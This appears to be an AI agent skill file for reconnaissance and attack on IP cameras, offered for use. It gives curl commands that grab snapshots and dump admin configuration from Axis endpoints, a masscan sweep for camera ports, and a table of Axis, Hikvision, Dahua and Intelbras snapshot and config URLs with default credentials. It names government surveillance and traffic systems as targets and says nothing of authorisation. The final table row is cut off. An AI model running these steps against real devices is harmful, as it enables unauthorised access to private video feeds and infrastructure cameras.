| name | iot-camera-recon |
| description | Attack cameras via RTSP, ONVIF, Axis config when 554 open. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","camera","IoT","RTSP","ONVIF","Axis","Hikvision"] |
| category | recon |
| related_skills | ["port-mass-scan","port-service-discovery"] |
IoT Camera Recon Skill
IP camera assessment covering RTSP exposure, vendor configuration endpoints,
ONVIF service enumeration, authentication controls, and firmware
identification.
When to Use
port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).
- Target is a physical security company, traffic management, or government surveillance.
- Shodan search reveals camera devices in the target's IP range.
- After
port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.
Prerequisites
terminal with curl, python3.
- For mass scanning: masscan or RustScan (see
port-mass-scan).
- VLC or ffmpeg for stream verification (optional).
How to Run
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json
Quick Reference
| Camera Brand | Default HTTP Port | Snapshot URL | Config URL | Default Creds |
|---|
| Axis | 80, 8010 | /axis-cgi/jpg/image.cgi | /axis-cgi/admin/param.cgi?action=list | root:pass, root:admin |
| Hikvision | 80, 554 | /ISAPI/Streaming/channels/101/picture | /System/configurationFile?auth=... | admin:12345, admin:admin |
| Dahua | 80, 554 | /cgi-bin/snapshot.cgi | /cgi-bin/configManager.cgi?action=getConfig | admin:admin, admin:password |
| Intelbras | 80 | /cgi-bin/snapshot.cgi | /web/cgi-bin/hi3510/param.cgi | admin:admin, admin:123456 |
| ONVIF | 80, 8899 |